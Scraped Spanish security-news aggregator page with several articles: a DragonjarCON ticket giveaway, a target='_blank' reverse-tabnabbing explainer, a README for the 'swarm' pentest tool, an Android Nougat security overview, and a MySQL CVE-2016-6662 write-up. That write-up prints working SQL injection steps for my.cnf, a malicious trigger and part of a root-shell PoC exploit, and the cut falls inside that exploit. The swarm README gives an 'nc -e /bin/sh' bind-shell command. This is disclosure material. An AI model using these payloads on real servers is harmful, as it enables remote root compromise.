Quantcast
Channel: Hacking Land :: Hack, Crack and Pentest
Viewing all 1954 articles
Browse latest View live

Regalamos 5 entradas para #Dragonjarcon 2016

$
0
0



La última vez que estuve en Colombia, fue en 2015, justamente para participar en un  evento organizado por Jaime Restrepo, de la comunidad Dragonjar: El DragonjarCON. En esa ocasión fue en la encantadora ciudad de Manizales, en el que tuve el placer de impartir un taller de Seguridad en Entornos Corporativos y la charla "Cooking an APT in the paranoid way".  

De hecho, y como suele ser habitual en las conferencias a las que he asistido en Latinoamérica, os conté aquí cómo fue la experiencia

Esta semana, el 17 y 18 de Septiembre, tendrá lugar la tercera edición de este evento, esta vez en Bogotá, al hotel NH Royal Metrotel Bogotá, en el que será sin duda todo un éxito.

Contarán con grandes ponentes y amigos, como Hugo Bayona, Mateo Martínez, Jose Pino, Álvaro Andrade, Sheila Berta, Alejandro Hernández, Jocsan Laguna, Rafael Bucio, el propio Jaime Restrepo.... y además como representación española va Pedro Candel!

Puedes registrarte en el mismo en la página del evento: https://www.dragonjarcon.org/

Este año no podré asistir a este evento Desde Security By Default, así como en otras ediciones, queremos colaborar con el evento regalando 5 entradas para el acceso al mismo. 

Para ello, sólo deberás dejarnos un comentario indicando por qué te mereces una entrada completamente gratuita para asistir a este fantástico evento. Seleccionaré las respuestas más creativas de entre las que dejéis.


Recuerda hacer mención a tu twitter o correo electrónico para que en caso que seas uno de los seleccionados, puedan comunicarse contigo.

Como bases del concurso, que sepáis que SOLO regalamos la entrada al evento.  No está incluido el viaje a Bogotá, ni la comida, ni los gastos de lo que hagas por allí. Por ello, te pediría que si participas en el concurso, es porque o vives en Colombia o te planteas viajar por tu cuenta a disfrutar del evento. La entrada es personal e intransferible, por lo que se la daremos al titular de la cuenta twitter/correo que dejes en tu comentario.

Espero vuestra participación!
  



Via:www.securitybydefault.com

Ataques de Phishing a Webs con Links en Target="_Blank" sin modificador NoOpener

$
0
0
Cuando en una página web se añada un enlace, y el visitante hace clic en él, automáticamente el navegador hace una redirección hacia la página indicada en el hipervícunlo. Es decir, a la URL indicada en el valor href del enlace en la etiqueta HTML. Para evitar que esto suceda, en la página donde se pone el enlace con la etiqueta a href se puede añadir un modificador llamado Target que puede tener diferentes valores como "_self", "_top", "_parent", el nombre de un iframe o "_blank", que hace que el navegador abra el contenido del enlace en una nueva pestaña o ventana.

Figura 1: Ataques de Phishing a webs con links en Target="_blank" sin NoOpener

En este entorno, cuando la Pestaña1 que tiene el contenido del SitioA ha establecido un hipervínculo al SitioB con el modificador Target="_blank", el documento enlazado se mostrará en una nueva Pestaña2. Y hasta ahí, un proceso muy normal que muchas páginas web realizan.

Figura 2: Modificador Target de la etiqueta A para crear hipervínculos

Ahora bien, la Pestaña2 guarda cierta relación aún con la Pestaña1 después de este proceso. Incluso si se ha abierto con el modificador Target="_blank", el contenido abierto en la Pestaña2 puede hacer navegar la Pestaña1 hacia una dirección arbitraria, accediendo a esa ventana por medio del manejador Window.Opener. Es decir, un enlace en el SitioA que se muestra en la Pestaña1 y que apunta al SitioB con un enlace con Target="_blank", da acceso al SitioB para hacer desde la Pestaña2 que la Pestaña1 navegue a dónde él quiera.

Figura 3: Manejador window.opener

Si el propietario del SitioB detecta que el manejador Window.Opener trae una referencia valida a una ventana, aún podría saber más sobre la ventana en la estaba, accediendo al valor Document.Referer para saber si viene de Facebook, de Twitter o de cualquier otro sitio en el que pueda estar incrustado un hipervínculo al SitioB. Con esta información, un SitioB malicioso podría intentar hacer un ataque de Phishing al SitoA, haciendo que la Pestaña1 original navegue a una web de Phishing creada especialmente para cada tipo de SitioA del que se proceda.

Figura 4: Propiedad Document.Referrer de una ventana

La experiencia para el usuario sería que hace clic en un enlace en una pestaña, se abre otra pestaña donde se carga el contenido del hipervínculo que toma el primer plano del navegador, y por detrás la pestaña original navega hacia un sitio que es una copia de Phishing especialmente creada, haciendo creer al usuario cuando regrese a la pestaña original que, por ejemplo, se le ha cerrado la sesión y tiene que volver a introducir las credenciales. Esto lo ha publicado el investigador Ben Harpelm, y afecta a multitud de aplicaciones web, y servicios de Internet.

Una servidor para hacer Phishing

Es muy sencillo hacer la comprobación para saber si a tu web se está llegando a través de un Target="_blank". Es suficiente con añadir un código que compruebe si el manejador Winddow.Opener tie un valor null . Si no está vacío, entonces de puede forzar que se haga un redirect en la página origen con una llamada tan sencilla como ésta.

Figura 5: Redirección a sitio que crea el phishing apropiado para cada referrer

Para evitar esto, los enlaces deben añadir un modificador rel="noopener" que hace que en la nueva ventana el contenido de Window.Opener se transfiera con valor null. Este modificador no funciona aún en Mozilla Firefox. Para proteger los enlaces Target="_blank" contra cualquier intento de ataque similar en la página destino, se debe añadir rel="noopener noreferer" para que además de no transferir el manejador de Window.Opener no se de información de cuál es la página que hace el enlace con Document.Referrer y evitar que se pueda hacer un ataque de Phishing dependiendo de la dirección web del sitio del que proviene el usuario.

Figura 6: Valores del modificador rel de la etiqueta A para crear hipervínculos

Si se quiere añadir más protección ante un posible navegador que no entienda el modificador noopener, una posible solución es asegurarse de configurar manualmente el valor de Window.Opener en la nueva ventana abierta, mediante este pequeño script.

Figura 7: Para borrar el valor de Window.opener

La verdad es que los ataques que se pueden hacer con esta técnica son similares a las técnicas de tabnabbing, pero en este caso aprovechándose de enlaces legítimos en las webs de procedencia, así que merece la pena que siempre que se añada un enlace en una aplicación crítica se añadan las opciones de noreferrer y noopener en tus enlaces para evitar facilitar que le hagan ataques de Phishing a tus visitantes.

Saludos Malignos!

Via:www.elladodelmal.com

swarm - A Modular Distributed Penetration Testing Tool

$
0
0

Swarm is an open source modular distributed penetration testing Tool that use distributed task queue to implement communication in the master-slave mode system and use MongoDB for data storage. It consists of a distributed framework and function modules. The function module can be an entirely new implement of some penetration functions or it can be a simple wrap of an existing tool to implement distributed functionality. Because of the modularity architecture it is easy to customize and extend new features under the distributed framework.

Now in this version 0.6.0 it has five modules:
  • Subdomain name scan module
  • Directories and files scan module
  • Nmap extension module
  • Sitemap crawler module
  • Intruder module
If you want to write your own module, you can read this .

Install
Zipball can be download here . You can also use git to get swarm:
git clone git@github.com:Arvin-X/swarm.git
then use setup.py to install swarm:
python setup.py install
Swarm works with Python 2.6.x or 2.7.x and it need MongoDB support on master host.
If you do not have MongoDB yet, you can use apt-get to install it:
apt-get install mongodb

Usage
Run swarm on master host to distribute tasks and run swarm-s with '-p' option on slave host to finish the subtask from master.
swarm-s -p 9090
You can also establish a listener on target port of slave host to receive command to waken swarm-s by specify '--waken' option when you run swarm. Otherwise you should leave '--waken' null. To create a listener, you can use nc or socat like:
nc -e /bin/sh -l 9191
And use waken command like:
swarm-s ARGS
You need to leave "ARGS" in your command and ensure it will be cli args passed to swarm for swarm to replace it with some necessary arguments like '-p'.
Basic usage of swarm:
usage: swarm [-h] -m MODULE [-v] [-c] [-o PATH] [-t [TARGET [TARGET ...]]]
[-T PATH] [-s [SWARM [SWARM ...]]] [-S PATH] [--waken CMD]
[--timeout TIME] [--m-addr ADDR] [--m-port PORT] [--s-port PORT]
[--authkey KEY] [--db-addr ADDR] [--db-port PORT] [--process NUM]
[--thread NUM] [--taskg NUM] [--dom-compbrute] [--dom-dict PATH]
[--dom-maxlevel NUM] [--dom-charset SET] [--dom-levellen LEN]
[--dom-timeout TIME] [--dir-http-port PORT]
[--dir-https-port PORT] [--dir-compbrute] [--dir-charset SET]
[--dir-len LEN] [--dir-dict PATH] [--dir-maxdepth NUM]
[--dir-timeout TIME] [--dir-not-exist FLAG] [--dir-quick-scan]
[--nmap-ports PORTS] [--nmap-top-ports NUM] [--nmap-ops ...]
[--int-target [URLS [URLS ...]]] [--int-method METHOD]
[--int-headers JSON] [--int-cookies COOKIES] [--int-body BODY]
[--int-payload PAYLOAD] [--int-flag FLAGS] [--int-timeout TIME]
[--map-seed SEED] [--map-http-port PORT] [--map-https-port PORT]
[--map-cookies COOKIES] [--map-interval TIME]
[--map-timeout TIME]

optional arguments:
-h, --help show this help message and exit
-m MODULE Use module name in ./modules/ to enable it

Output:
These option can be used to control output

-v Output more verbose
-c Disable colorful log output
-o PATH Record log in target file

Target:
At least one of these options has to be provided to define target unless
there is another special option for defining target in the module

-t [TARGET [TARGET ...]]
Separated by blank (eg: github.com 127.0.0.0/24
192.168.1.5)
-T PATH File that contains target list, one target per line

Swarm:
Use these options to customize swarm connection. At least one of slave
host has to be provided.

-s [SWARM [SWARM ...]]
Address of slave hosts with port if you need waken
them (eg: 192.168.1.2:9090 192.18.1.3:9191). No port
if swarm-s on slave host has already run
-S PATH File that contains slave list, one host per line
--waken CMD Command to waken up slave hosts, null if swarm-s on
slave host has already run
--timeout TIME Seconds to wait before request to swarm getting
response
--m-addr ADDR Master address which is reachable by all slave hosts
--m-port PORT Listen port on master host to distribute task
--s-port PORT Listen port on slave host to receive command from
master
--authkey KEY Auth key between master and slave hosts

Database:
These option can be used to access MongoDB server

--db-addr ADDR Address of MongoDB server
--db-port PORT Listening port of MongoDB server

Common:
These option can be used to customize common configuration of slave host

--process NUM Max number of concurrent process on slave host
--thread NUM Max number of concurrent threads on slave host
--taskg NUM Granularity of subtasks from 1 to 3

Domain Scan:
Thes option can be used to customize swarm action of subdomain name scan

--dom-compbrute Use complete brute force without dictionary on target
--dom-dict PATH Path to dictionary used for subdomain name scan
--dom-maxlevel NUM Max level of subdomain name to scan
--dom-charset SET Charset used for complete brute foce
--dom-levellen LEN Length interval of subdomain name each level
--dom-timeout TIME Timeout option for subdomain name scan

Directory Scan:
These option can be used to customize swarm action of directory scan

--dir-http-port PORT Separated by comma if you need multiple ports
--dir-https-port PORT
Separated by comma if you need multiple ports
--dir-compbrute Use complete brute force without dictionary on target
--dir-charset SET Charset used for complete brute foce
--dir-len LEN Length interval of directory name or file name
--dir-dict PATH Path to dictionary used for directory scan
--dir-maxdepth NUM Max depth in directory and file scan
--dir-timeout TIME Timeout option for directory scan
--dir-not-exist FLAG Separated by double comma if you need multiple flags
--dir-quick-scan Use HEAD method instead of GET in scan

Nmap Module:
These options can be used customize nmap action on slave hosts

--nmap-ports PORTS Support format like '80,443,3306,1024-2048'
--nmap-top-ports NUM Scan <number> most common ports
--nmap-ops ... Nmap options list in nmap’s man pages, this should
be the last in cli args

Intruder:
Use indicator symbol '@n@' where 'n' should be a number, like '@0@','@1@'
etc to specify attack point in option 'int_target' and 'int_body'. Use
'int_payload' option to specify payload used on these attack point to
complete this attack.

--int-target [URLS [URLS ...]]
Use this option instead of '-t' or '-T' options to
specify targets,separated by comma
--int-method METHOD Http method used in this attack
--int-headers JSON A JSON format data.(eg: {"User-
Agent":"Mozilla/5.0","Origin":"XXX"})
--int-cookies COOKIES
Separated by comma. (eg: PHPSESSIONID:XX,token:XX)
--int-body BODY HTTP or HTTPS body. You can use indicator symbol in
this option
--int-payload PAYLOAD
The format should follow '@0@:PATH,@1@:NUM-
NUM:CHARSET'
--int-flag FLAGS Separated by double comma if you have multiple flags
--int-timeout TIME Timeout option for intruder module

Sitemap Crawler:
These options can be used to customize sitemap crawler, not support js
parse yet

--map-seed SEED Separated by comma if you have multiple seeds
--map-http-port PORT Separated by comma if you need multiple ports
--map-https-port PORT
Separated by comma if you need multiple ports
--map-cookies COOKIES
Separated by comma if you have multiple cookies
--map-interval TIME Interval time between two request
--map-timeout TIME Timeout option for sitemap crawler
It is recommended that to use configuration file to configure swarm instead of using cli arguments if your requirement is high. The configuration files locate in /etc/swarm/.



Via:www.kitploit.com

Google detalla características de seguridad de Android 7.0 Nougat

$
0
0
La última versión de Android ya es una realidad. Los primeros dispositivos con Android 7.0, también conocido como Nougat, ya están en la calle, y Google ha ampliado la informaciónsobre las características de seguridad que ésta nueva versión viene a ofrecer.

Como no podía ser menos, esta nueva versión es la más segura hasta la fecha. Para ello Google ha incluido mejoras en diferentes aspectos de seguridad. Entre todas ellas, el equipo de seguridad de Android destaca el programa de recompensas por vulnerabilidades (que tan buen rendimiento le está dando a la compañía), un nuevo modo Direct Boot, rediseño del mediaserver y fortalecimiento del subsistema multimedia, aplicaciones protegidas desde regresiones accidentales hasta tráfico de datos sin cifrar, una actualización de la forma en que Android trata las autoridades de certificación de confianza, estricto cumplimiento del arranque verificado con corrección de errores y actualizaciones del kernel de Linux para reducir la superficie de ataque y aumentar la protección de memoria.

Arranque Directo y cifrado

En Android 7.0 Nougat se ha actualizado el esquema de cifrado subyacente y simplificado el proceso de arranque para acelerar el reinicio del teléfono. Ahora las funciones principales del teléfono, como la aplicación de teléfono y el reloj, están disponibles de forma inmediata, incluso antes de introducir el PIN, por lo que se pueden recibir llamadas y las alarmas pueden funcionar. Esta funcionalidad recibe el nombre de Arranque Directo ("Direct Boot").

El nuevo esquema de cifrado de archivos mejora la experiencia de usuario, debido a que el área de almacenamiento del sistema, así como el área de almacenamiento de cada perfil de usuario, están cifradas por separado. A diferencia del cifrado del disco completo, donde todos los datos se cifran como una sola unidad, el cifrado basado por perfil permite que el sistema se reinicie normalmente en un estado operativo usando únicamente las teclas del dispositivo.

El cifrado basado en archivos ofrece un mejor aislamiento y protege usuarios y perfiles individuales en un dispositivo mediante cifrado de datos a una granularidad más fina. Cada perfil se cifra mediante una clave única que sólo puede ser desbloqueado mediante el PIN o contraseña, para que los datos solo puedan ser descifrados por el usuario. 

El soporte de cifrado se ha mejorado con cada nueva versión de Android. Además se ha empezado a requerir un hardware específico, como en dispositivos Nexus 5X y 6P que usan claves únicas accesibles solamente con hardware fiable, como el ARM TrustZone. Con la nueva versión del sistema del androide todos los nuevos dispositivos Android deberán tener este tipo de hardware para el almacenamiento de claves y proporcionar protección ante ataques de fuerza bruta. De esta manera, en teoría los datos solo podrán descifrarse en ese mismo dispositivo y por el propio usuario, porque aunque tenga hardware específico para funciones criptográficas no hay que descartar que estas puedan ser replicadas por software algún día.

Protecciones multimedia y de plataforma

En Android 7 también se ha rediseñado y mejorado la seguridad del servidor multimedia, uno de los servicios principales que procesan entradas no confiables.

Se ha incorporado protección ante desbordamientos de entero. Tan pronto se detecta un desbordamiento de entero, se cierra el proceso y se detiene el ataque. El subsistema multimedia se ha convertido en módulos para poner los diferentes componentes en "sandboxes" individuales. Así se han podido ajustar los privilegios de cada "sandbox" con los mínimos privilegios requeridos para su función. La finalidad es mitigar gran parte de las vulnerabilidades de desbordamiento de memoria basada en la pila reduciendo la superficie expuesta.

También se han añadido otras protecciones, como el Arranque Verificado (Verified Boot) que evita el arranque de dispositivos comprometidos. Configuración actualizada de SELinux y aumento de la cobertura. Aleatorización del orden de carga de librerías y mejora de ASLR. Se ha añadido protección de memoria adicional para los nuevos kernels marcando porciones de la memoria del núcleo como de sólo lectura, restringiendo el acceso al kernel a las direcciones del espacio de usuario y reduciendo aún más la actual superficie de ataque. Se ha introducido un nuevo esquema de firma de aplicaciones que ofrece instalación más rápida de las aplicaciones y mayor protección contra alteraciones no autorizadas de archivos APK.


Mejoras en la seguridad de aplicaciones

Las aplicaciones que quieren compartir datos con otras aplicaciones deben activarse opcionalmente de forma explícita ofreciendo sus archivos a través de un proveedor de contenidos (Content Provider) como FileProvider.

Para facilitar a las aplicaciones controlar el acceso a su tráfico de red seguro, las autoridades de certificación instaladas por el usuario y los instalados mediante APIs ya no son de confianza predeterminada para aplicaciones dirigidas a la API de nivel 24+.

Android Nougat incluye una función de configuración de seguridad de la red que permite a las aplicaciones personalizar los ajustes de seguridad de la red mediante un archivo de configuración declarativo seguro sin que haya que modificar el código de la aplicación. Esto incluye bloquear tráfico en texto claro, configurar el conjunto de CAs y certificados de confianza y asignar una configuración de depuración.


Actualizaciones del sistema

Google también ha realizado mejoras significativas en el sistema de actualización OTA, reduciendo el tiempo de actualización y el tamaño de las actualizaciones. También se evita el paso de optimización de aplicaciones, sin duda uno de las partes más lentas del proceso de actualización.

Sin duda las actualizaciones del sistema van a seguir siendo uno de los puntos débiles de Android, mientras éstas tarden meses en llegar (o incluso no lleguen nunca) los sistemas volverán a ser vulnerables en cuanto se descubra una nueva vulnerabilidad. Mientras la obtención de actualizaciones siga dependiendo del dispositivo, país, fabricante, proveedor o del distribuidor la cadena seguirá siendo demasiado larga y muchos usuarios tardarán en tener sus dispositivos actualizados.

Más información:

Keeping Android safe: Security enhancements in Nougat





Antonio Ropero
Twitter: @aropero



Via:unaaldia.hispasec.com

0-day en MySQL permite ejecución remota de comandos (CVE-2016-6662): con un usuario con privilegios mínimos y "jugando" con el logging

$
0
0
El pasado 29 de agosto el investigador Dawid Golunski informó de varios problemas graves en MySQL, entre ellos una vulnerabilidad que puede ser explotada por atacantes remotos para inyectar configuraciones maliciosas en ficheros my.cnf y derivar en la ejecución de código arbitrario con privilegios de root o, lo que es lo mismo, comprometer completamente al servidor que ejecuta MySQL.

El caso es que los desarrolladores de "sus hermanas menores" MariaDB y PerconaDB ya publicaron sendos parches para solucionarlo, algo que Oracle no ha hecho todavía *increiblemente*. El problema es que al estar los parches disponibles en los repositorios públicos de PerconaDB y MariaDB cualquiera puede empezar a explotar la vulnerabilidad por lo que el investigador se ha apresurado a publicarlo junto con las PoC correspondientes.

La vulnerabilidad detallada es la que tiene el id CVE-2016-6662, que puede ser aprovechada por un atacante que pueda autenticarse directamente contra la base de datos MySQL a través de una conexión de red o un interfaz web como phpMyAdmin, o de forma indirecta a través de una inyección SQL.

Pre-carga de librerías como root

El ataque es efectivo contra la configuración por defecto de todas las releases de MySQL, incluyendo 5.5, 5.6 y 5.7. Concretamente porque todas las versiones usan el script mysqld_safe como un wrapper para iniciar el servicio de MySQL que se ejecuta como root:
root     14967  0.0  0.1   4340  1588 ?        S    06:41   0:00 /bin/sh /usr/bin/mysqld_safe

mysql    15314  1.2  4.7 558160 47736 ?        Sl   06:41   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

Y este script tiene la siguiente función que puede utilizarse para precargar una librería compartida antes de iniciar el servidor:
----[ /usr/bin/mysqld_safe ]----

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

[...]

Esta librería podría ser especificada con el parámetro --malloc-lib=LIB o... directamente en la sección '[mysqld]' o '[mysqld_safe]' del fichero de configuración my.cnf.

Como veis, si un atacante consigue inyectar una línea en ese fichero de configuración podría ser capaz de cargar una librería maliciosa y ejecutar código como root en el momento en que se reinicie el servicio de MySQL. ¿Pero cómo puede un atacante escribir en los ficheros de configuración de mysql? Veamos...

En 2003 se dio a conocer una vulnerabilidad en las versiones de MySQL anteriores a la 3.23.55 que permitía a los usuarios crear archivos de configuración de MySQL con una simple declaración:
SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'

El problema se solucionó impidiendo cargar archivos de configuración con permisos de escritura para todo el mundo, que eran los permisos predeterminados aplicados a los archivos creados con la consulta OUTFILE.
Como protección adicional, a las declaraciones OUTFILE / DUMPFILE se les prohibieron además sobrescribir archivos existentes.

Esta vulnerabilidad se dio por solucionada y la escritura en los archivos de configuración considerada imposible. Sin embargo, ahora se ha demostrado que es posible evadir esas restricciones...

Abusando de las funciones de logging de MySQL

1.- Inyectando configuraciones maliciosas en ficheros de configuración de MySQL existentes con permisos débiles. Esto es que es un error que los ficheros de configuración pertenezcan y sean escribibles por el usuario mysql. Por ej.
root@debian:~/# ls -l /etc/my.cnf 
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf

Si esto es así (como en muchas configuraciones por defecto) un atacante podría ejecutar las siguientes consultas:
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

Y el resultado de la modificación del fichero de configuración my.cnf sería el siguiente:
root@debian:~/# cat /etc/my.cnf 

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14       40 Query    select '

; injected config entry

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15       40 Query    set global general_log = off

Como podéis observar se ha añadido información "basura" del inicio del demonio de MySQL, pero entre medias ya está la sección maliciosa:
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

Y ahora el script mysqld_safe (que como decimos se ejecuta como root) añadirá a la variable de entorno LD_PRELOAD antes de iniciar el demonio. La librería precargada puede hookear las llamadas de libc fopen() antes de que se procese por mysqld para que arranque correctamente.

2.- Creando nuevos ficheros de configuración en el directorio data de MySQL (escribible por defecto por el usuario mysql), concretamente en:
root@debian:~# ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

Por lo que un atacante puede crear los siguientes ficheros de configuración:

/var/lib/mysql/my.cnf (versión 5.5 y 5.6)
/var/lib/mysql/.my.cnf (versión 5.7)

Que, si observáis en el script mysqld_safe, son cargados por defecto:
 ----[ /usr/bin/mysqld_safe ]----

[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
[...]

Si intentamos hacerlo como con la vulnerabilidad de 2013 que comentábamos anteriormente:
SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'

no funcionaría, porque MySQL crearía con permisos rw para todo el mundo:
-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

y MySQL impediría cargar ficheros de configuración con estos permisos en el inicio.

Sin embargo, un atacante podría saltarse esto usando las siguientes sentencias SQL de logging:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '>
    '> ; injected config entry
    '>
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '>
    '> [separator]
    '>
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

Estas consultas crearán el fichero my.cnf con los permisos necesarios (sin los bit o-w) para que pueda ser parseado por el demonio de MySQL:
 ls -l /var/lib/mysql/my.cnf 
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

Y el fichero tendrá los siguientes contenidos:
# cat /var/lib/mysql/my.cnf 
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22       43 Query    select '

; injected config entry

[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

'
160728 17:48:23       43 Query    set global general_log = off

Sin embargo aquí tendremos un problema. MySQL rechazará los archivos que no comienzan con una [sección] no válida:
error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted

No obstante, otras "pruebas" demuestran que es posible pasar por alto esta restricción también, aunque no se han dado detalles de momento.
Existe otra vulnerabilidad con un CVEID de CVE-2016-6663 pendiente de la divulgación que supuestamente hará que sea más fácil crear /var/lib/mysql/my.cnf sin el requisito del permiso FILE.

3.- Los atacantes con permisos sólo de SELECT/FILE pueden conseguir acceso a funciones de logging (normalmente sólo disponibles para usuarios administradores de MySQL) en todas las instalaciones por defecto para poder añadir/modificar ficheros de configuración.

Esto puede conseguirse añadiendo el siguiente payload:
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;  
   set global general_log = off;
END;

en un trigger de una tabla activa ('active_table') y haciendo uso por ej. de una sentencia como;
SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG' 

De esta manera el trigger será cargado cuando se haga un flush de las tablas, cuando se invoque un INSERT:
INSERT INTO `active_table` VALUES('xyz');

El código del trigger será ejecutado con los privilegios de root de MySQL y por lo tanto le permitirá al atacante modificar la configuración de general_log a pesar de la falta de privilegios administrativos en su cuenta estándar.

Pruebas de concepto

- 0day 0ldSQL_MySQL_RCE_exploit.py exploit
#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector   
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB',   required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
                 
args = parser.parse_args()


# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
    dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
    errmsg("Failed to connect to the target: {}".format(err))
    shutdown(1)

try:
    cursor = dbconn.cursor()
    cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
    errmsg("Something went wrong: {}".format(err))
    shutdown(2)

privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
    print priv[0]
print ""


# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
    errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
    print error
    shutdown(2)

# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
    content = f.read()
    hookandrootlib_hex = binascii.hexlify(content)

# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# Decoded payload (paths may differ):
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `poctable` FOR EACH ROW
BEGIN

   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "

# 0ldSQL_MySQL_RCE_exploit got here :)
